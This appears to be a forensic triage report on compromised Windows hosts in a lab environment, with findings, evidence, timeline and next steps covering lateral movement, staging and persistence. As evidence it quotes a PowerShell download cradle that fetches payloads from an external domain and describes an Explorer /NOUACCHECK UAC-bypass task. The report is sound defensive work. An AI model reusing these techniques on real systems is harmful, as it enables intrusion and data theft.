  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sensitive project targeting correlation: The spsql account browsed backup folders containing codenamed projects (Project Mayhem, Project P.E.G.A.S.U.S, StarkExpo, MH_Eyes_Only, Targets), and user tdungan independently opened a SharePoint document titled CONFIDENTIAL - Project Mayhem [Autosaved].pptx.
  • Evidence: spsql rows 140, 144, 145, 149, 151 (lnk_net_name \\172.16.4.6\C$, paths under Windows\Logs\WindowsServerBackup\7.11); tdungan row 63 (application_name Microsoft PowerPoint 2016 64-bit, lnk_name https://starkresearchlabs-my.sharepoint.com/.../CONFIDENTIAL%20-%20Project%20Mayhem%20%5bAutosaved%5d.pptx, lnk_mtime 2018-08-27T19:11:43.725761+00:00).
  • Why it matters: The overlap in sensitive project names between tdungan’s legitimate document access and spsql’s anomalous backup browsing suggests targeted collection of restricted research.
  • Alternative explanation: Both users coincidentally accessed common business files related to ongoing projects.
  • Verify: Review SharePoint audit logs for tdungan and backup access logs on 172.16.4.6 for spsql to confirm scope of access to these project folders.

Data Gaps

  • DestList entry order, access counts, and pin status are absent from the provided projection, preventing precise ranking of which entries were most recently or frequently used.
  • Windows Security Event Logs (4624, 4625, 4648, 4768, 4769) and SMB server/session logs from the remote hosts are not available, so the logon type (interactive vs. network), authentication source, and exact session boundaries for spsql cannot be determined.
  • Prefetch, Amcache, or ShimCache artifacts were not provided, preventing correlation of explorer.exe execution context under the spsql user profile.
  • NTFS USN Journal or MFT data for C:\Windows\Temp\Perfmon is absent; it is unknown whether files were created, modified, or deleted in these apparent staging directories.
  • The identical lnk_mtime, lnk_atime, and lnk_ctime values shared across large entry groups (e.g., 57 spsql entries with lnk_mtime 2018-09-05T14:29:22.397907+00:00) may reflect Jump List container file timestamps rather than individual embedded LNK timestamps, limiting sub-second behavioral sequencing.
  • No Jump List or event data from other hosts in the environment was provided, so the full scope of spsql lateral movement and whether similar Perfmon directories exist on remote systems cannot be confirmed.
Custom Jump Lists (jumplist.custom_destination) LOW
Record Count 21
Time Range Start 2018-05-24T23:48:38.836800
Time Range End 2018-09-06T20:36:01.882496

Findings

  • [SEVERITY: LOW] [CONFIDENCE: LOW] Account spsql (name suggestive of a SQL service account) has interactive-session artifacts for PowerShell ISE and Edge Browser, indicating an interactive user logon.
  • Evidence: row_ref 36 (C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk, lnk_mtime 2018-09-05T12:18:02.649437+00:00); row_ref 37 (C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe, lnk_mtime 2018-09-05T12:18:02.649437+00:00); row_ref 39 (Edge Browser, lnk_mtime 2018-08-28T21:46:13.774725+00:00). All artifacts reside under C:\Users\spsql\....
  • Why it matters: Service accounts are typically non-interactive; interactive sessions—especially with administrative tools like PowerShell ISE—may indicate unauthorized use, credential compromise, or attacker preference for service accounts to blend in.
  • Alternative explanation: A database administrator may have legitimately logged on interactively with the SQL service account to perform maintenance or troubleshooting.
  • Verify: Correlate with Windows Security Event Log Event ID 4624 for account spsql around 2018-08-28 and 2018-09-05 to confirm interactive logon type (Type 2 or 10), source IP, and workstation name.

Data Gaps

  • No suspicious execution paths observed: No LOLBins with encoded commands, no targets in Temp, Downloads, or Public, no UNC/administrative share paths, and no known malicious utilities in the 21 records.
  • PowerShell entries for tdungan (rows 7, 8) and spsql (rows 36, 37) have empty lnk_arguments fields, so malicious invocation (e.g., -enc, -ep bypass) cannot be ruled out or confirmed from this artifact alone.
  • CustomDestinations do not prove execution or establish precise execution times; confirmation requires correlation with Prefetch, Amcache, UserAssist, SRUM, or Windows Event Logs.
  • AutomaticDestinations (DestList) are absent, so MRU/MFU recency metadata that would clarify access frequency is unavailable.
  • Network identifiers (lnk_net_name, lnk_device_name) are empty across all rows, preventing identification of remote targets or mapped drives.
  • Nineteen rows were removed during deduplication; the full temporal density of repeated entries is lost.
  • This artifact provides no visibility into credential-access tooling, persistence mechanisms, or lateral-movement techniques (e.g., no Mimikatz artifacts, no remote service creation, no scheduled tasks).
Shellbags (shellbags) HIGH
Record Count 167
Time Range Start 2016-08-10T16:15:36
Time Range End 2018-09-06T21:18:49.813065

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Account spsql performed extensive lateral movement via administrative C$ shares to at least nine remote hosts, including what appears to be the Domain Controller (base-dc, 172.16.4.6), a file server (172.16.4.5), and multiple internal workstations/RDS hosts.
  • Evidence: spsql browsed \\172.16.4.5\c$ (row 11), \\base-dc\c$ (row 18), \\172.16.4.6\c$ (row 20), \\172.16.6.11\c$ (row 34), \\172.16.6.14\c$ (row 39), \\172.16.6.12\c$ (row 44), \\172.16.7.15\c$ (row 49), \\172.16.7.11\c$ (row 54), \\172.16.7.13\c$ (row 59), and \\172.16.4.4\c$ (row 64). Subsequent FILE_ENTRY rows show deep traversal under each share (e.g., rows 12‑16, 21‑32, 35‑37, 40‑42, 45‑47, 50‑52, 55‑57, 60‑62, 65‑67).
  • Why it matters: Broad remote admin share access across the fleet is a primary indicator of Windows network intrusion and lateral movement.
  • Alternative explanation: Enterprise software deployment or inventory scanning by a systems administrator.
  • Verify: Correlate with Windows Security Event IDs 4624/4648 and SMB session logs for spsql authentications to each target IP.
  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] spsql browsed sensitive data stores, another user’s local profile, and non-standard staging directories on multiple remote systems.
  • Evidence: spsql accessed C:\Users\tdungan (row 140), C:\Users\tdungan\OneDrive - Stark Research Labs (rows 141‑144), \\172.16.4.5\shieldbase-share\Case Files\Project P.E.G.A.S.U.S (row 10), \\base-dc\c$\$recycle.bin (row 174), \\172.16.4.4\c$\Windows\System\Backup\registry (row 240) and \Active Directory (row 241), plus anomalous subfolders under \\172.16.4.6\c$\Windows\Logs\WindowsServerBackup such as \6.11\Research (row 188), \6.12\Metal Alloys (row 191), \7.11\Archive (row 195), \7.13\Case Files (row 197), and \4.04\Active Directory (row 199). Locally, spsql also browsed C:\Windows\Logs\SysBackup\New folder (row 154) and \06-11` (row 155).
  • Why it matters: Access to user profiles, sensitive project shares, the DC recycle bin, registry/AD paths, and atypical subfolders inside backup directories indicates credential harvesting, collection, and likely data staging.
  • Alternative explanation: Advanced troubleshooting or internal red-team activity.
  • Verify: Inspect MFT/USN records on affected hosts to determine if these folders contain compressed, encrypted, or recently written files.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Identically-named perfmon directories inside C$\Windows\Temp were browsed by spsql on this host and at least seven remote hosts.
  • Evidence: Local: C:\Windows\Temp\Perfmon (row 147) and C:\Windows\Temp\Perfmon\Research (row 148). Remote: \\172.16.4.5\c$\Windows\Temp\perfmon (row 14), \\172.16.4.6\c$\Windows\Temp\perfmon (row 32), \\172.16.6.11\c$\Windows\Temp\Perfmon (row 37) and \Perfmon\Research (row 180), \\172.16.6.14\c$\Windows\Temp\Perfmon (row 42), \\172.16.6.12\c$\Windows\Temp\perfmon (row 47) and \perfmon\Metal Alloys (row 212), \\172.16.7.15\c$\Windows\Temp\perfmon (row 52) and subfolders \sp, \c, \a (rows 218‑220), \\172.16.7.11\c$\Windows\Temp\perfmon (row 57) and subfolders \Proposed Projects, \k, \Archive (rows 226‑228), \\172.16.7.13\c$\Windows\Temp\perfmon (row 62) and \Case Files (row 234).
  • Why it matters: Windows\Temp\perfmon is not a standard Windows performance log path; its repeated appearance across many hosts strongly suggests a standardized attacker staging or toolkit directory.
  • Alternative explanation: Custom enterprise monitoring agent using a non-standard temp path.
  • Verify: Recover directory contents from MFT and scan files within each C:\Windows\Temp\perfmon for malware, credential tools, or matching hashes.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] A burst of coordinated directory enumeration by spsql occurred on 2018‑09‑05 across numerous remote systems.
  • Evidence: FILE_ENTRY timestamps clustered on 2018‑09‑05 between 12:20 UTC and 14:28 UTC: 12:20 (row 174), 12:27 (rows 67, 199, 240, 241), 12:33 (row 66), 13:02 (row 41), 13:08 (row 36), 13:09 (rows 46, 61), 13:10 (rows 152‑153), 13:14 (rows 154‑155), 13:16 (rows 13, 24), 13:17 (row 51), 13:19 (row 25), 13:20 (rows 26, 56), 13:21 (row 27), 13:22 (row 28), 13:23 (row 29), 13:26 (row 30), 13:40 (row 31), 14:06 (row 13), 14:23 (row 15), 14:28 (row 171). This activity touched at least nine distinct hosts plus local paths.
  • Why it matters: Near‑simultaneous browsing of admin shares on many hosts is consistent with automated or manual attacker reconnaissance rather than ad‑hoc administration.
  • Alternative explanation: A centralized systems management script that triggered Explorer shellbags via automated logon.
  • Verify: Cross‑reference the exact timestamps with Windows Security event log network logon records to confirm interactive vs. network sessions.

Data Gaps

  • ts_atime and ts_btime are absent for all records; only ts_mtime is present, which may reflect directory modification time rather than the moment of first access or viewing.
  • Shellbags record Explorer folder views only—they do not capture process execution, command‑line activity, file read/write operations, or logon type, so malicious tool execution or actual data exfiltration cannot be confirmed from this artifact alone.
  • No Windows Security Event Log, SMB session log, Prefetch, or USN Journal data is available to correlate these folder views with authentications, network sessions, or file system changes.
  • The intended purpose of the spsql account (service vs. interactive admin) is unknown; without logon metadata, it is not possible to distinguish a compromised service account from legitimate administrative use based solely on shellbags.
  • Absence of shellbag entries for paths accessed via non‑Explorer means (e.g., cmd.exe, PowerShell, or remote tools) means attacker activity through those channels would not appear here.
SAM Users (sam) MEDIUM
Record Count 6
Time Range Start 2017-12-15T04:59:37.603455
Time Range End 2018-05-07T19:24:59.038782

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Custom local account "range_admin" (RID 1003) present with no recorded logons and a password set months after the account key timestamp.
  • Evidence: row_ref 6, ts 2018-05-04T22:14:19.395981+00:00, username range_admin, rid 1003, flags 528, logins 0, lastlogin 1601-01-01T00:00:00+00:00, lastpasswordset 2018-08-19T03:59:36.898315+00:00.
  • Why it matters: Locally created accounts with administrative-sounding names and zero interactive logons are a common persistence technique; the August 2018 password change well after the May 2018 key timestamp is anomalous.
  • Alternative explanation: The "range" prefix suggests this may be an intentionally provisioned administrator account for a lab or cyber range environment.
  • Verify: Check SAM Groups artifact for local Administrators group membership (RID 1003); correlate with Security EVTX Event ID 4720 on 2018-05-04; confirm with system owners whether the account is authorized.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Built-in Administrator and custom "range_admin" account passwords changed 27 seconds apart on the same day.
  • Evidence: row_ref 1, lastpasswordset 2018-08-19T04:00:03.129078+00:00 (Administrator); row_ref 6, lastpasswordset 2018-08-19T03:59:36.898315+00:00 (range_admin).
  • Why it matters: Near-simultaneous password changes across the built-in Administrator and a non-default local account may indicate scripted credential manipulation, bulk attacker password resets, or coordinated account takeover.
  • Alternative explanation: A legitimate administrator or provisioning script may have reset passwords for multiple accounts in quick succession.
  • Verify: Pull Security EVTX for Event IDs 4723 and 4724 around 2018-08-19T03:59–04:00 UTC to identify the originating session/user.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Failed logon attempt against disabled Guest account observed months after other account key activity.
  • Evidence: row_ref 2, lastincorrectlogin 2018-08-25T19:48:36.942221+00:00, failedlogins 1, flags 533 (account disabled).
  • Why it matters: Authentication attempts against disabled built-in accounts can indicate brute-force, password spraying, or lateral movement tooling attempting to use common credentials.
  • Alternative explanation: A single failed attempt is commonly incidental scanning noise, user error, or a misconfigured script.
  • Verify: Review Security EVTX for Event ID 4625 targeting the Guest account on 2018-08-25 and inspect for surrounding failed logon clusters against other local accounts.

Data Gaps

  • Group memberships: This artifact does not include local group memberships; it is not possible to confirm whether "range_admin" (RID 1003) or any other account is a member of the Administrators group without the SAM Groups artifact or comparable group data.
  • Account creation provenance: The ts field most likely reflects registry key last-write time rather than strict creation time. Without Security EVTX (Event ID 4720), the exact creation time and creating user/session for RID 1003 cannot be confirmed.
  • Deleted accounts: RIDs 1001 and 1002 are absent between defaultuser0 (1000) and range_admin (1003). This artifact provides no deletion history or transaction log data to determine whether prior accounts were removed to hide persistence.
  • Post-timeline activity: The lastpasswordset values for Administrator and range_admin (August 2018) and the Guest failed logon (August 2018) occur after the latest registry key timestamps present (May 2018). Without system event logs or a validated timeline, it is unclear whether this represents activity after the imaging window, clock skew, or registry update behavior.
  • Missing logon detail: The artifact only provides last logon timestamp and count. Full interactive/network logon history, source IP/workstation, and logon type required for lateral-movement analysis reside in the Security EVTX logs, which are not present here.
  • Absent profile metadata: Fields such as profile path, logon script, or home directory are not included in this extract; malicious configuration in those fields cannot be assessed.
Network History (network_history) UNSPECIFIED
Record Count 2
Time Range Start 2018-05-07T19:24:59.000773
Time Range End 2018-05-07T19:26:39.000696

Findings
Nothing suspicious detected in this artifact.

Data Gaps

  • Stale temporal coverage: The artifact contains only 2 network profiles spanning May–September 2018. No records exist for the ~8-year period between the last profile connection (2018-09-06) and the current investigation date (2026-06-13). If the suspected compromise occurred recently, this artifact provides no relevant coverage.
  • No user or process attribution: NetworkList profiles do not record which user was connected, what processes generated traffic, or whether credentials were accessed. Privilege escalation, Mimikatz-like activity, and suspicious execution cannot be assessed from this data.
  • Potential profile deletion or grooming: Only expected domain profiles (shieldbase.lan) are present. The absence of transient, public, VPN, or rogue network profiles may reflect legitimate controlled connectivity, but it may also indicate deleted or cleared registry entries. There is no evidence one way or the other.
  • Limited scope for lateral movement/exfiltration: This artifact records profile existence and last-connection timestamps but does not prove active traffic, data staging, or cross-host movement. Correlation with SRUM, WLAN auto-config events (Event ID 8001/8003), DHCP/DNS logs, VPN sessions, and firewall/proxy logs is required to evaluate actual network behavior.
  • Lack of baseline for comparison: An approved network inventory (expected gateway MACs, DNS suffixes, and signatures) was not provided, so while the observed values are domain-consistent, deviation cannot be fully ruled out.
base-rd-02-cdrive

Image Summary

Executive Summary

BASE-RD-02 is compromised with high confidence. The host contains a persistent backdoor infrastructure established in early May 2018—specifically, two masquerading privileged Windows services (“Microsoft Advanced API”), a UAC-bypass scheduled task, and a suspicious local account—indicating sustained attacker persistence. Separately, on August 31, 2018, the service-style account spsql was used in an interactive session to browse another user’s classified research documents (files explicitly named “TOP SECRET”), stage them in a temporary directory, and execute PowerShell download cradles pulling payloads from external infrastructure (squirreldirectory.com). The combination of kernel-level and service-level persistence, privileged credential manipulation, and targeted data collection renders this a critical-severity incident.

---

Timeline

Timestamp (UTC)Source ArtifactEventConfidence
2018-05-04T22:12:41Shimcache / AmcacheSystemInit-dev.exe installed as program SystemInit by Simspace Corp., representing a non-standard software installation outside the January baseline cluster.MEDIUM
2018-05-04T22:14:19SAMLocal account range_admin (RID 1003) created; never recorded an interactive logon.HIGH
2018-05-07T19:29:08Services / TasksLARIAT auto-start service and associated scheduled tasks (\LARIAT Provider, \LARIAT Watchdog) installed, running batch scripts as Local System from an uncommon path.MEDIUM
2018-05-08T14:41:55Jump Lists (Automatic)Domain administrator administrator.shieldbase generated interactive Windows Explorer Jump List entries on the RDS host.HIGH
2018-05-08T14:42:16UserAssistDomain administrator administrator.shieldbase launched an auto-generated executable with a GUID-style name (Microsoft.AutoGenerated.{6DC4AF58-96DF-B985-94FE-0197ED67FE31}) via Explorer.MEDIUM
2018-05-08T21:13:01–21:13:34Shimcache / Services / AmcacheMasquerading executables msadvapi2_32.exe and msadvapi2_64.exe installed under fake “Microsoft Advanced API” directories; associated install_wormhole staging and 7za.exe present. Services configured for auto-start as LocalSystem. npf (WinPcap) kernel driver also installed.HIGH
2018-05-08T21:55:39UserAssistDomain administrator administrator.shieldbase executed FramePkg.exe from S: network drive.MEDIUM
2018-08-19T03:58:17SAMPassword changed on suspicious local account range_admin.HIGH
2018-08-19T03:58:45SAMPassword changed on built-in Administrator within 28 seconds of range_admin change, suggesting coordinated credential manipulation.HIGH
2018-08-31T00:17:06–00:17:58Shellbags / Jump Lists (Automatic)Account spsql performed interactive Explorer reconnaissance across C:\Users, C:\Windows, and multiple user profiles, then accessed jpallen’s sensitive research folders.HIGH
2018-08-31T00:23:47–00:37:32Jump Lists (Automatic) / Browser Historyspsql opened jpallen’s Office documents including TOP SECRET - UNOBTANIUM FORMULA.docx and alloy-research-financials.xls.HIGH
2018-08-31T00:37:00Jump Lists (Automatic)spsql created/accessed staging directory C:\Windows\Temp\perfmon\Metal Alloys, mirroring the target research folder structure.HIGH
2018-08-31T00:42:10Browser HistoryImmediately after document access, spsql triggered Microsoft Live OAuth authorization flows (login.live.com/oauth20_*).HIGH
2018-08-31T00:42:20Jump Lists (Custom)spsql generated PowerShell shortcut artifacts (powershell.exe, powershell_ise.exe) in Custom Jump Lists.MEDIUM
2018-08-31T00:43:21PowerShell Historyspsql executed four PowerShell download cradles (iex (new-object system.net.webclient).downloadstring(...)) retrieving payloads from squirreldirectory.com/a and typo variants.HIGH
2018-09-07T04:20:27ServicesSuspicious kernel driver mnemosyne (\??\C:\windows\Mnemosyne.sys) present with manual start, indicating potential rootkit-grade persistence.HIGH

---

Attack Narrative

  • Persistence (confirmed): In early May 2018, the attacker established multiple persistent mechanisms: two auto-start services masquerading as Microsoft components (“Microsoft Advanced API 32/64”) running as LocalSystem from non-standard paths (Services row_ref 248/249; Shimcache rows 298/306; Amcache rows 170/171); a scheduled task configured to execute Explorer.exe /NOUACCHECK as shieldbase\Administrator, constituting a documented UAC bypass (Tasks row_ref 4/5); and a suspicious local account range_admin (SAM row 6).
  • Privilege Escalation (confirmed): The CreateExplorerShellUnelevatedTask provides a confirmed UAC bypass. The mnemosyne kernel driver (Services row_ref 253) offers kernel-level persistence, though its exact installation vector is not observed in these artifacts.
  • Credential Access (inferred): On August 19, near-simultaneous password resets against range_admin and the built-in Administrator (SAM rows 1/6) suggest attacker control over privileged credentials. The subsequent interactive use of spsql—an account with a service-style name—implies credential compromise or misuse.
  • Collection (confirmed): On August 31, 2018, the spsql account interactively browsed another user’s profile (jpallen) and opened documents labeled “TOP SECRET” and “SECRET” (Browser History row_ref 12645–12648; Jump Lists rows 5512–5517; Shellbags rows 37–44). A matching staging directory, C:\Windows\Temp\perfmon\Metal Alloys, was created/accessed by the same account (Jump Lists row 5530; Shellbags row 58).
  • Command and Control (confirmed): During the same August 31 session, spsql executed PowerShell download cradles retrieving remote payloads from squirreldirectory.com and typographically similar domains (PowerShell History row_ref 1–4). Browser history shows Live OAuth flows immediately following document access, which may indicate cloud-service interaction for exfiltration or secondary staging (Browser History row_ref 12642–12644), though successful exfiltration is not directly confirmed.
  • Initial Access / Lateral Movement (unconfirmed): How the attacker first gained access to BASE-RD-02 in May is not visible in the provided artifacts. Whether the spsql session originated from lateral movement into the host or from locally compromised credentials cannot be confirmed without Security Event Log 4624 data.

Alternative explanation: Some artifacts (Simspace SystemInit, Lincoln LARIAT, F-Response Subject) are consistent with cyber-range/lab infrastructure, and F-Response may be an authorized incident-response collection tool. However, the masquerading services, kernel driver, UAC-bypass task, PowerShell download cradles, and targeted TOP SECRET document staging are not explainable by legitimate range administration.

---

Gaps and Unknowns

  • Initial access vector: No artifact reveals how the attacker first compromised the host or obtained administrative privileges in early May 2018. Security Event Logs (4624/4625/4688) around May 4–8 are required.
  • Execution confirmation for persistent mechanisms: last_run_date is empty for all scheduled tasks, and service runtime state (RUNNING/STOPPED) is not captured, so we cannot confirm whether the UAC-bypass task or masquerading services have actually executed.
  • Logon context for spsql: Windows Security Event Log 4624 is needed to determine whether the August 31 spsql session was interactive (Type 2), RDP (Type 10), or runas, and to identify the source IP/workstation.
  • Outcome of PowerShell cradles: The PowerShell history records only input commands; we do not know whether the remote payloads downloaded successfully, what they contained, or what child processes resulted.
  • File integrity and hashes: No executable hashes or signature status are available for msadvapi2_32.exe, msadvapi2_64.exe, Mnemosyne.sys, subject_srv.exe, or the squirreldirectory payloads, preventing definitive threat-intel confirmation.
  • F-Response authorization: The F-Response Subject service (Services row_ref 119) may be legitimate IR tooling targeting base-hunt.shieldbase.lan, but this remains unverified.
  • LARIAT / SystemInit legitimacy: Whether these are authorized cyber-range applications or attacker-planted tooling is unresolved; they cluster in the same May installation wave as the confirmed malicious artifacts.
  • Epoch timestamp artifacts: 28% of UserAssist rows and multiple Jump List/Shellbag entries carry null epoch timestamps (1601-01-01), limiting timeline completeness. This is not confirmed anti-forensics, but it prevents full behavioral reconstruction.
  • Exfiltration unconfirmed: While staging of sensitive files is evident, no artifact demonstrates data actually leaving the host. Network proxy/firewall logs are absent.

---

Recommended Next Steps

  1. Immediate containment: Isolate BASE-RD-02 from the production network. Capture volatile memory before shutdown. Disable the “Microsoft Advanced API 32/64” services and the mnemosyne driver only after forensic preservation.
  2. Credential rotation: Force-reset passwords for spsql, built-in Administrator, range_admin, administrator.shieldbase, and any account showing interactive RDS activity on this host. Review AD for spsql service account logon restrictions and recent delegations.
  3. Recover critical logs: Pull Windows Security EVTX (4624/4625/4634/4688/4698/4702/4720/4723/4724/7045), System EVTX, and PowerShell Operational/Module logs from BASE-RD-02 for May 2018 and August 19–31, 2018.
  4. File analysis: Collect and hash msadvapi2_32.exe, msadvapi2_64.exe, Mnemosyne.sys, subject_srv.exe, SystemInit-dev.exe, and any files in C:\Windows\Temp\perfmon\Metal Alloys. Submit to sandbox and threat intelligence.
  5. Network correlation: Query proxy/DNS/firewall logs for outbound HTTP to squirreldirectory.com, squirrreldirectory, and login.live.com from 172.16.6.12 / 10.10.150.180 around 2018-08-31T00:43Z.
  6. Scope expansion: Hunt base-hunt.shieldbase.lan and other hosts in shieldbase.lan for the same masquerading services, range_admin account, and spsql interactive logons.
  7. Verify F-Response: Confirm with the incident response lead whether the F-Response Subject service and base-hunt host are authorized IR infrastructure. If unauthorized, treat as an active backdoor and contain immediately.

Per-Artifact Findings

Run/RunOnce Keys (runkeys) MEDIUM
Record Count 17
Time Range Start 2018-05-04T18:14:47.318216
Time Range End 2018-08-31T00:20:49.355202

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Uncommon machine-wide startup script (LARIAT Actuator) registered in an HKLM Run key.
  • Evidence: row_ref 3, ts 2018-06-01T02:42:20.818747+00:00, name LARIAT Actuator, command (executable='C:\Program', args=['Files (x86)\\Lincoln\\LARIAT\\tools\\lariat.cmd']), key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. The split fields imply the intended target is C:\Program Files (x86)\Lincoln\LARIAT\tools\lariat.cmd.
  • Why it matters: Batch scripts launched from machine-scope Run keys are atypical for standard enterprise software and provide all-user persistence; the uncommon application name cannot be confirmed as authorized without a baseline.
  • Alternative explanation: Legitimate Lincoln/LARIAT industrial automation software that requires a startup actuator script.
  • Verify: Inspect the contents of lariat.cmd, validate the file hash/digital signature, and cross-check against the organization’s software inventory.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Domain administrator account configured with a persistent user-level OneDrive background process.
  • Evidence: row_ref 14, ts 2018-05-08T14:43:49.403826+00:00, name OneDrive, command (executable='C:\Users\administrator.shieldbase\AppData\Local\Microsoft\OneDrive\OneDrive.exe', args=['/background']), username administrator.shieldbase, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
  • Why it matters: A cloud-sync client persisting under a privileged domain account on an RDS host raises scoping concern; if the account is compromised or misused, OneDrive could facilitate data staging or exfiltration.
  • Alternative explanation: The administrator may legitimately use OneDrive for file access during interactive sessions.
  • Verify: Correlate with Windows Event Log interactive logon events for administrator.shieldbase and review OneDrive sync logs and folder contents for unauthorized data.

Data Gaps

  • Execution vs. presence: This artifact is a registry snapshot; it cannot confirm whether any of the listed programs actually executed, nor whether RunOnce entries (row_ref 15–17) already ran and should have self-deleted.
  • File integrity unknown: No hashes, digital signatures, or metadata are included for the referenced executables or scripts (e.g., OneDrive.exe, lariat.cmd), so trojanized or replaced binaries cannot be ruled out.
  • Temporal coverage: The dataset spans May–August 2018. Absence of entries outside this window does not exclude earlier compromise persistence or later cleanup.
  • No baseline: Without an authorized software inventory for BASE-RD-02, benign corporate tools cannot be firmly distinguished from unauthorized additions.
  • No direct credential-access or LOLBin evidence: No entries reference Mimikatz, encoded PowerShell, rundll32, regsvr32, or other common credential-access/evasion tooling in this artifact.
Scheduled Tasks (tasks) HIGH
Record Count 671
Time Range Start 2005-06-23T21:48:00
Time Range End 2026-06-13T06:15:27.791138

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Scheduled task configured to execute Explorer.exe with a UAC-bypass flag as a persistent privileged action.
  • Evidence: task_path C:\WINDOWS\system32\tasks\CreateExplorerShellUnelevatedTask (row_ref 4) with author ExplorerShellUnelevated, enabled for user_id shieldbase\Administrator, hidden False; action row_ref 5 specifies action_type Exec, command C:\WINDOWS\Explorer.EXE, and arguments /NOUACCHECK. The date field for this task is empty.
  • Why it matters: Running Explorer.exe /NOUACCHECK from a scheduled task is a documented UAC bypass and persistence technique that allows elevated code execution while evading consent prompts under a domain administrator account.
  • Alternative explanation: None credible; this task name, author string, and parameter combination do not correspond to any legitimate Windows system maintenance function.
  • Verify: Inspect the task XML file on disk for an embedded creation timestamp and trigger definition; search the Security EVTX for Event IDs 4698/4702; correlate with EDR/Sysmon telemetry for any Explorer.EXE process creation with the /NOUACCHECK argument.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Multiple non-Microsoft scheduled tasks executing batch scripts from a common third-party directory as Local System.
  • Evidence: row_ref 14/15 (\LARIAT Provider, date 2018-05-07T15:29:08+00:00, author shieldbase\BASE-RD-02$, action Exec, command "C:\Program Files (x86)\Lincoln\LARIAT\tools\LariatProvider.bat", user_id S-1-5-18); row_ref 17/18 (\LARIAT Watchdog, same date/author, command "C:\Program Files (x86)\Lincoln\LARIAT\tools\lariat-check.bat"); row_ref 41/42 (\VMTools Watchdog, same date/author, command "C:\Program Files (x86)\Lincoln\LARIAT\tools\vmtools-check.bat").
  • Why it matters: Batch scripts running as SYSTEM from a non-standard directory are a common persistence vector and could indicate unauthorized administrative tooling if the directory or files are writable.
  • Alternative explanation: These tasks likely belong to legitimate lab or cyber-range infrastructure management tools, consistent with the host naming (BASE-RD-02) and rangeadmin accounts observed elsewhere in the data.
  • Verify: Validate whether C:\Program Files (x86)\Lincoln\LARIAT\ is part of the authorized baseline image; inspect the .bat file contents, hashes, and directory ACLs for signs of tampering.

Data Gaps

  • No execution history: The last_run_date column is empty for all 671 records, so it is impossible to determine whether the suspicious CreateExplorerShellUnelevatedTask or any other task has ever executed.
  • Missing creation timestamps: The date field is absent for the majority of tasks, including the high-suspicion Explorer task, preventing timeline correlation with a potential incident window.
  • No trigger metadata: Schedule/trigger details (e.g., at-logon, at-boot, daily) are not present in the extracted columns, so persistence cadence and risk cannot be fully assessed from this artifact alone.
  • No execution audit trail: Static task definitions cannot confirm runtime behavior; Task Scheduler Operational logs, Security Event IDs 4698/4699/4702, and EDR/Sysmon process creation data are needed to verify if these tasks have been triggered.
  • Deduplication limits: 344 rows were removed as timestamp/ID-only duplicates, which may obscure repeated task modifications or updates that could indicate tampering.
Services (services) HIGH
Record Count 620
Time Range Start 2018-05-04T18:15:09.052670
Time Range End 2018-09-07T04:24:31.180470

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Two masquerading auto-start services, “Microsoft Advanced API 32” and “Microsoft Advanced API 64”, run as LocalSystem from non-standard directories using executable names that mimic Windows system components.
  • Evidence: row_ref 248, ts 2018-05-08T21:13:34.932833+00:00, name Microsoft Advanced API 32, imagepath C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe, start Auto Start (2), objectname LocalSystem; row_ref 249, ts 2018-05-08T21:13:16.604544+00:00, name Microsoft Advanced API 64, imagepath C:\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe, start Auto Start (2), objectname LocalSystem.
  • Why it matters: These provide persistent, privileged execution via fake Microsoft-branded services and are highly consistent with attacker persistence tooling.
  • Alternative explanation: None plausible; these exact service names and paths do not correspond to any known legitimate Microsoft or common third-party software.
  • Verify: Collect and hash both executables; check for valid digital signatures; review EVTX Event ID 7045 and Security logs around 2018-05-08 21:13 UTC.
  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Suspicious kernel driver “mnemosyne” resides in the Windows root directory with no display name or description.
  • Evidence: row_ref 253, ts 2018-09-07T04:20:27.009443+00:00, name mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, type Kernel Device Driver (0x1), start Manual (3).
  • Why it matters: Unnamed kernel drivers placed directly in C:\windows are a common sign of rootkits or malicious kernel-mode persistence, granting attackers deep control over the OS.
  • Alternative explanation: Could be an undocumented third-party driver, but the lack of metadata and unusual mythological name makes this unlikely.
  • Verify: Hash and reverse-engineer Mnemosyne.sys; check driver signature; correlate with System/Operational EVTX for driver load events and any associated service creation (Event ID 7045).
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start “F-Response Subject” service is configured for remote network connectivity to an internal host, running as LocalSystem.
  • Evidence: row_ref 119, ts 2018-09-06T19:03:44.712221+00:00, name F-Response Subject, imagepath C:\windows\subject_srv.exe, imagepath_args -s "base-hunt.shieldbase.lan:5682" -l 3262 -v "F-Response Subject" -k "155522845", start Auto Start (2), objectname LocalSystem.
  • Why it matters: Provides remote, privileged access to the host; if unauthorized, it functions as a full backdoor into the system.
  • Alternative explanation: F-Response is a legitimate forensic remote acquisition tool; the target name base-hunt and the late timestamp suggest it may have been deployed by the incident response/hunt team.
  • Verify: Confirm with incident response leads whether F-Response was authorized for collection on this host; if unauthorized, contain immediately and investigate lateral movement via the host’s 172.16.6.12 / 10.10.150.180 interfaces.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Auto-start third-party service “LARIAT” uses the Apache Commons Daemon (prunsrv.exe) to run as LocalSystem from an uncommon path.
